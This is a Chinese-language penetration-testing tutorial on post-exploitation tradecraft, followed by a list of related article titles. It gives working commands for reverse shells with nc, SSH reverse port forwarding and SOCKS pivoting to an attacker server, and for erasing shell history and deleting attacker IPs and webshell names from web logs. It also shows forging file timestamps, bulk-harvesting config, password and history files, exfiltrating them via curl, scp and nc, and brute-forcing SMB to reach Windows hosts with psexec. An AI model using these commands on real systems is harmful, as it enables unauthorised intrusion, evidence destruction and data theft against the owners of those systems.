各種環境下的滲透測試
getshell:
找到切入點後,首先是要彈個shell,一般我用back.py
配合nc使用,nc監聽埠就不說了。
back.py會自動去掉各種history記錄,確保shell斷掉的時候不會被記錄到bash_history裡面
ssh各種姿勢
反彈內網埠:
ssh有幾個比較重要的引數:
-f: 連線成功後切換到後臺,不會佔用當前的shell,shell斷了也會繼續執行,相當於 nohup和&。
-N: 連線後不呼叫shell,用處後面講。
-R:把本地網路(可以是本機或者任何內網甚至外網埠)埠反彈到ssh伺服器
用法:
首先你要有個外網ip的ssh伺服器,如果目標內網限制了訪問埠,可以開到常見埠比如80或者443上面,可以直接改設定或者iptables對映一下。你需要有這個伺服器的root許可權。在sshd_config裡面開啟埠轉發, AllowTcpForwarding yes 還有 Gateway Ports,如果之前沒開的話改完需要重啟一下sshd。
另外就是因為反彈埠需要讓目標機器登入到你的ssh伺服器,為了安全起見需要建立一個專門用來埠轉發的使用者,useradd隨便建個使用者,設定密碼然後到/etc/passwd裡面,把最後一個':'後面的shell位置改成/sbin/nologin或者/bin/false,這樣即使對方記錄了你的ssh密碼也沒法對你轉發的伺服器做什麼(比如取證之類)
-N的作用:
因為轉發用的使用者沒有shell,如果沒有-N的話會因為得不到shell而自動斷開連線,-N可以避免這一點。
開始轉發:
ssh -fNR 要反彈到的埠:目標本機或者內外ip:要反彈的目標埠 [email protected] 執行後會問你轉發使用者名稱的密碼,輸入成功後會自動切換到後臺
例子1:
本地轉發: 目標機器上有個oracle埠在1521,但是隻能從內網訪問。提權提不上,沒裝sqlplus等工具,webshell資料庫管理各種出錯,不過翻到了登入使用者名稱和密碼。不過我自己的機器上裝了個navicat for oracle⋯⋯ ssh伺服器上的埠轉發使用者名稱叫forward,伺服器ip是123.123.123.123
ssh -fNR 11521:127.0.0.1:1521 [email protected]
注意:之所以開到11521埠是因為<1024的埠需要root許可權才能佔用,另外注意你反彈到伺服器的埠不能被iptables之類的擋住,不然你沒法從外網訪問(廢話麼)
反彈成功後,開啟navicat,新建個連線,ip輸入123.123.123.123,埠輸入11521,然後使用者名稱和密碼,啪啪啪⋯⋯連上了
例子2:
內網ip轉發: 除了能轉發localhost,還能轉發內網其他ip的埠,甚至在不同網段都行,只要能從內網的已淪陷機器訪問到就行。比如內網有個windows伺服器,ip 192.168.5.10, 開了3389埠,不過也只能在內網訪問⋯⋯
ssh -fNR 13389:192.168.5.10:3389 [email protected]
反彈成功後mstsc連123.123.123.123:13389即可⋯⋯
ssh轉發埠是可以多開的,就是要注意轉發到你伺服器的埠不要重了。
用完之後記得關掉:
ps aux|grep ssh
在程式裡可以看到ssh的轉發命令,把pid kill了就行。另外也可以在ssh伺服器端kill,
netstat -anp|grep sshd
ssh的時候會記錄known_hosts,所以最後擦屁股的時候記得到開ssh的使用者名稱的home資料夾 .ssh裡面把known_hosts清掉
ssh反彈socks5方法
如果用ssh自帶的socks5伺服器的話,需要一個能在本地登入的帳號,可以是nologin的,但是必須要能登入,如果不是root的話,socks埠只能開到>1024的埠。原理是先在本地開socks5,然後把本地socks5伺服器的埠彈到遠端伺服器。
姿勢:
ssh -fND 127.0.0.1:8080 [email protected]
這樣會在本地8080埠開socks5代理,然後反彈
ssh -fNR 18080:127.0.0.1:8080 [email protected]
這樣可以把socks5代理彈到123.123.123.123的18080埠,可以用proxychains和其他支援socks5代理的工具最大限度的窺探內網
Linux下隱藏痕跡
透過其他方式得到shell的話,需要去掉histfile等環境變數:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
登入ssh後管理員用w檢視當前登入使用者,所以有必要隱藏,推薦xi4oyu的logtamper
清除日誌裡指定內容:
日誌必須是文字格式,而且你有許可權讀寫⋯⋯
awk '!/pattern/' filename > temp && mv temp filename
這個原理說白了就是去掉原檔案裡的指定內容然後生成新檔案,再用新的覆蓋舊的,弄完記得用chmod還原原來的屬性. 例子:
awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
去掉所有包含123.123.123.123的日誌記錄。 可以匹配多個關鍵詞:
awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
修改檔案訪問|建立|修改時間:
touch -amt 200901231532 檔名
改成2009年1月23號15點32分
批次修改時間:
比如你在一個資料夾改了很多php插了一堆一句話:
ls|xargs touch -amt 200901231532
把當前目錄所有檔案時間都改了
資訊蒐集:
find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@
打包各種指令碼和配置檔案還有history日誌。 有的環境下zip需要一些引數才能用,請自行修改
在/var/www蒐集全部 conf.php然後打包
find /var/www -name '*conf*.php' -print | zip config.zip -@
找包含特定內容的檔案並且那一行顯示出來:
grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR
比如在web目錄找包含password這個詞的所有php
grep -RPa --include=*.php 'password' /var/www
pattern可以用正則,可以不指定檔案型別(很慢⋯⋯)
檔案傳送:
找到需要的東西后,怎麼往外發也是個問題,一般大檔案用ftp,scp,小檔案用nc。
ftp方法:
如果目標裝了curl的話就很簡單了
curl -v -T 檔名 ftp://username:[email protected]
scp方法:
適合有ids之類東西的地方,可以把sshd開到443等傳統加密流量的介面,scp帳號需要有寫入和執行shell的許可權
scp backup.tgz [email protected]:/tmp/backup.tgz
nc方法:
先在服務端監聽
nc -l port > 檔名
然後到要傳送檔案的伺服器
nc 服務端ip 埠 < 檔名
傳送小檔案還行,大檔案有時候會斷。
從linux到windows
有些時候你拿了linux伺服器的shell,想跨到windows的機器上,基本就是透過兩個手段,一個是針對windows的服務進行exploit溢位,還有就是利用在linux上搜集的使用者名稱和密碼然後透過psexec放shell。
首先要確定windows主機的位置和開啟的服務,在內網掃開445和3389的機器,基本是windows了,掃的時候要注意,不管用什麼工具,儘量用socket connect的方式掃。像SYN 方式掃描如果內網有ids之類肯定會被發現,connect方式掃描相對來說和正常連線差不多。 掃到windows機器列表後,準備好剛才在linux下收集的各種使用者名稱和密碼,還有一些常見的弱密碼,生成密碼字典和使用者名稱字典,字典裡再加上一些windows本身的使用者名稱,比如administrator。 嘗試密碼的話直接在linux下用hydra,破解smb密碼,運氣好的話,只要掃出一個,就能用psexec getshell了。運氣不好就剩下溢位這一條路了。如果溢位都不行,windows主機和linux在同一個網段的話,還可以試試透過arp spoof抓smb認證包,然後把hash弄出來破解或者注入hash,但是動靜會比較大,不到最後不建議使用。
psexec:
有幾種選擇,metasploit裡面auxiliary裡面的psexec模組,可以直接放個msf的reverse paylaod上去。另外可以把windows的伺服器的445埠反彈出來,再找個windows的機器用psexec。還有就是直接在內網的linux機器上用python的psexec,https://code.google.com/p/impacket/
相關文章
- 一些免費好用的靶機滲透測試環境2024-08-16
- Web 滲透測試入門:環境搭建、流程與實踐2018-04-12Web
- 為什麼滲透測試很重要?滲透測試的服務方式有幾種?2023-01-31
- 滲透測試是什麼?滲透測試三種分類主要包括哪些?2022-03-09
- 介面文件下的滲透測試(Swagger)2020-10-15Swagger
- Metasploit滲透測試學習筆記——7、使用Metasploit生成各種payload2018-05-23筆記
- 滲透測試9種常見漏洞2023-04-18
- 滲透測試中最常見的9種漏洞!2023-09-20
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05
- 什麼是網路滲透測試?網路滲透測試分為幾種型別?2022-08-25型別
- 滲透測試怎麼做?滲透測試的步驟有哪些?2022-04-08
- 常見的授權滲透環境2024-06-17
- Linux滲透測試2018-05-31Linux
- 什麼是滲透測試?滲透測試的服務方式有哪些?2023-03-29
- 網路安全滲透測試的型別!滲透測試入門教程2021-08-02型別
- 什麼是滲透測試?為什麼要做滲透測試?2021-08-10
- VMware搭建內網滲透環境2023-01-05內網
- 什麼是滲透測試?滲透測試分類方式有哪些?2023-10-17
- 你真的瞭解“滲透測試”嗎?滲透測試有何作用?2022-03-18
- 什麼是滲透測試?滲透測試分為哪幾類?2021-08-11
- 【滲透測試】Vulnhub DarkHole2024-08-19
- 滲透測試報告2024-03-22測試報告
- 滲透測試之nmap2020-10-25
- 安全測試和滲透測試的區別2022-07-29
- 什麼是滲透測試?滲透測試培訓班如何選擇?2022-11-08
- 滲透測試什麼?滲透測試具體操作流程是什麼2022-03-31
- metasploit滲透測試筆記(內網滲透篇)2020-08-19筆記內網
- 網路安全滲透測試常見的7種型別!2023-09-15型別
- 什麼是滲透測試?網站有必要進行滲透測試嗎?2023-09-19網站
- 1.02 docker環境的各種搭建方法2018-12-10Docker
- 第六章-實用滲透技巧-1:針對雲環境的滲透2024-04-06
- 【滲透測試】Vulnhub Hackable II2024-08-19
- Web 端滲透測試初探2024-06-26Web
- GraphQL滲透測試詳解2023-04-24
- 滲透測試-資訊收集2024-04-22
- 滲透測試之域名收集2021-07-19
- 滲透測試——資訊收集2021-05-28
- 滲透測試------資訊收集2020-06-27